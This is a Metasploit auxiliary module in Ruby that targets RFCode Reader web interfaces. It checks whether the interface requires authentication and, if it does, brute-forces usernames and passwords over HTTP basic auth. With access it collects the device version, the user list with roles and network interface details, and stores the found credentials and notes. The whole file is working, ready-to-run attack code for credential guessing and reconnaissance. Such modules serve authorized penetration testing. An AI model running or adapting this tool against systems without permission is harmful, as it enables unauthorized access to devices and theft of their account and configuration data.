##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::AuthBrute
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'RFCode Reader Web Interface Login / Bruteforce Utility',
        'Description' => %q{
          This module simply attempts to login to a RFCode Reader web interface.
          Please note that by default there is no authentication. In such a case, password brute force will not be performed.
          If there is authentication configured, the module will attempt to find valid login credentials and capture device information.
        },
        'Author' => [
          'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
        ],
        'License'	=> MSF_LICENSE,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptBool.new('STOP_ON_SUCCESS', [ true, "Stop guessing when a credential works for a host", true])
      ]
    )
  end

  #
  # Info-Only
  # Identify logged in user: /rfcode_reader/api/whoami.json
  # Capture list of users: /rfcode_reader/api/userlist.json
  # Interface configuration: /rfcode_reader/api/interfacestatus.json
  # Device platform details: /rfcode_reader/api/version.json
  #

  def run_host(ip)
    unless is_app_rfreader?
      print_error("#{Rex::Socket.to_authority(rhost, rport)} - Application does not appear to be RFCode Reader. Module will not continue.")
      return
    end

    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Checking if authentication is required...")
    unless is_auth_required?
      print_warning("#{Rex::Socket.to_authority(rhost, rport)} - Application does not require authentication.")
      user = ''
      pass = ''

      # Collect device platform & configuration info
      collect_info(user, pass)
      return
    end

    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Brute-forcing...")
    each_user_pass do |user, pass|
      do_login(user, pass)
    end
  end

  #
  # What's the point of running this module if the app actually isn't RFCode Reader?
  #
  def is_app_rfreader?
    res = send_request_cgi(
      {
        'uri' => '/rfcode_reader/api/whoami.json',
        'vars_get' =>
          {
            '_dc' => '1369680704481'
          }
      }
    )
    return (res and res.code != 404)
  end

  #
  # The default install of RFCode Reader app does not require authentication. Instead, it'll log the
  # user right in. If that's the case, no point to brute-force, either.
  #
  def is_auth_required?
    user = ''
    pass = ''

    res = send_request_cgi(
      {
        'uri' => '/rfcode_reader/api/whoami.json',
        'method' => 'GET',
        'authorization' => basic_auth(user, pass),
        'vars_get'	=>
          {
            '_dc' => '1369680704481'
          }
      }
    )

    return (res and res.body =~ /{  }/) ? false : true
  end

  #
  # Brute-force the login page
  #
  def do_login(user, pass)
    vprint_status("#{Rex::Socket.to_authority(rhost, rport)} - Trying username:#{user.inspect} with password:#{pass.inspect}")
    begin
      res = send_request_cgi(
        {
          'uri' => '/rfcode_reader/api/whoami.json',
          'method' => 'GET',
          'authorization' => basic_auth(user, pass),
          'vars_get'	=>
            {
              '_dc' => '1369680704481'
            }
        }
      )

      if not res or res.code == 401
        vprint_error("#{Rex::Socket.to_authority(rhost, rport)} - FAILED LOGIN - #{user.inspect}:#{pass.inspect} with code #{res.code}")
      else
        print_good("#{Rex::Socket.to_authority(rhost, rport)} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")

        collect_info(user, pass)

        report_cred(
          ip: rhost,
          port: rport,
          service_name: 'RFCode Reader',
          user: user,
          password: pass,
          proof: res.code.to_s
        )
        return :next_user
      end
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
      print_error("#{Rex::Socket.to_authority(rhost, rport)} - HTTP Connection Failed, Aborting")
      return :abort
    end
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      last_attempted_at: Time.now,
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  #
  # Collect target info
  #
  def collect_info(user, pass)
    vprint_status("#{Rex::Socket.to_authority(rhost, rport)} - Collecting information from app as #{user.inspect}:#{pass.inspect}...")
    begin
      res = send_request_cgi(
        {
          'uri' => '/rfcode_reader/api/version.json',
          'method' => 'GET',
          'authorization' => basic_auth(user, pass),
          'vars_get' =>
            {
              '_dc' => '1370460180056'
            }
        }
      )

      if res and res.body
        release_ver = JSON.parse(res.body)["release"]
        product_name = JSON.parse(res.body)["product"]

        vprint_status("#{Rex::Socket.to_authority(rhost, rport)} - Collecting device platform info...")
        vprint_good("#{Rex::Socket.to_authority(rhost, rport)} - Release version: '#{release_ver}', Product Name: '#{product_name}'")

        report_note(
          :host => rhost,
          :proto => 'tcp',
          :port => rport,
          :sname => "RFCode Reader",
          :data => {
            :release_version => release_ver,
            :product => product_name
          },
          :type	=> 'Info'
        )
      end

      res = send_request_cgi(
        {
          'uri' => '/rfcode_reader/api/userlist.json',
          'method' => 'GET',
          'authorization' => basic_auth(user, pass),
          'vars_get' =>
            {
              '_dc' => '1370353972710'
            }
        }
      )

      if res and res.body
        userlist = JSON.parse(res.body)
        vprint_status("#{Rex::Socket.to_authority(rhost, rport)} - Collecting user list...")
        vprint_good("#{Rex::Socket.to_authority(rhost, rport)} - User list & role: #{userlist}")

        report_note(
          :host => rhost,
          :proto => 'tcp',
          :port => rport,
          :sname	=> "RFCode Reader",
          :data => { :user_list => userlist },
          :type	=> 'Info'
        )
      end

      res = send_request_cgi(
        {
          'uri' => '/rfcode_reader/api/interfacestatus.json',
          'method' => 'GET',
          'authorization' => basic_auth(user, pass),
          'vars_get' =>
            {
              '_dc' => '1369678668067'
            }
        }
      )

      if res and res.body
        eth0_info = JSON.parse(res.body)["eth0"]
        vprint_status("#{Rex::Socket.to_authority(rhost, rport)} - Collecting interface info...")
        vprint_good("#{Rex::Socket.to_authority(rhost, rport)} - Interface eth0 info: #{eth0_info}")

        report_note(
          :host	=> rhost,
          :proto	=> 'tcp',
          :port	=> rport,
          :sname	=> "RFCode Reader",
          :data	=> { :eth0 => eth0_info },
          :type	=> 'Info'
        )
      end

      return
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
      vprint_error("#{Rex::Socket.to_authority(rhost, rport)} - HTTP Connection Failed while collecting info")
      return
    rescue JSON::ParserError
      vprint_error("#{Rex::Socket.to_authority(rhost, rport)} - Unable to parse JSON response while collecting info")
      return
    end
  end
end
